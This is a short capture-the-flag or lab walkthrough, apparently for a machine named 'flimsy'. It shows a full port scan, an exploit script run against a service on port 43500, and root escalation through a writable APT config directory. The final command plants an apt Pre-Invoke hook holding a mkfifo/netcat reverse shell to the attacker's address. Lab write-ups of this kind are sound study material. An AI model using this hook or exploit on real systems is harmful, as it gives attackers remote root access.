❯ nmap -p- --open -v -oG allPorts $IP -n -Pn -T5

image.png

image.png

image.png

❯ python3 50829.py http://192.168.220.220:43500/ 192.168.45.162 444

image.png

image.png

image.png

Privileges Escalation

image.png

APT Writable

https://www.hackingarticles.in/linux-for-pentester-apt-privilege-escalation/

franklin@flimsy:/etc/apt/apt.conf.d$ echo 'apt::Update::Pre-Invoke {"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.162 1234 >/tmp/f"};' > pwn

image.png

image.png